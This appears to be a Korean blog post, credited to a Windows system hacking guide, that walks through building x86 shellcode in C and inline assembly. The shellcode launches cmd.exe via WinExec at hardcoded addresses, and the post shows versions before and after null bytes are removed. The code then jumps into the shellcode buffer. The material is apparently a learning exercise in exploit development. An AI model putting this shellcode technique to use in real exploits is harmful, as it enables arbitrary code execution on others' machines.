티스토리 뷰

#include <windows.h>

int main(int argc, char* argv[])
{
	/*
	char cmd[4] = {'c','m','d','\x0'};
	__asm
	{
		_emit 0xCC
	}
	WinExec(cmd, SW_SHOW);
	ExitProcess(1);
	*/

	
	/* 
	__asm{
		// cmd
		
		// 아래 널 바이트 부분을 대체하는 코드 
		xor ebx, ebx
		mov [ebp-4], ebx 

		mov	byte ptr [ebp-4], 63h
		mov	byte ptr [ebp-3], 6Dh
		mov byte ptr [ebp-2], 64h
		//mov byte ptr [ebp-1], 0 // 널바이트 제거

		// call WinExec('cmd', SH_SHOW )
		push 5
		lea eax, [ebp-4]
		push eax
		mov eax, 0x76af3161
		call eax

		// call ExitProcess(1)
		push 1
		mov eax, 0x76a779c8
		call eax

	};
	*/

	

	/* 널바이트 제거 전 쉘코드
	char shellcode[] =	"\xC6\x45\xFC\x63"
						"\xC6\x45\xFD\x6D"
						"\xC6\x45\xFE\x64"
						"\xC6\x45\xFF\x00"
						"\x6A\x05"
						"\x8D\x45\xFC"
						"\x50"
						"\xB8\x61\x31\xAF\x76"
						"\xFF\xD0"
						"\x6A\x01"
						"\xB8\xC8\x79\xA7\x76"
						"\xFF\xD0";
	*/

	char shellcode[] =  "\x33\xDB"
						"\x89\x5D\xFC"
						"\xC6\x45\xFC\x63"
						"\xC6\x45\xFD\x6D"
						"\xC6\x45\xFE\x64"
						"\x6A\x05"
						"\x8D\x45\xFC"
						"\x50"
						"\xB8\x61\x31\xAF\x76"
						"\xFF\xD0"
						"\x6A\x01"
						"\xB8\xC8\x79\xA7\x76"
						"\xFF\xD0";

	int* shell = (int*)shellcode;
	__asm{
		jmp shell
	};

}
출처 : 윈도우 시스템 해킹 가이드(hyunmini)
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2025/04   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30
글 보관함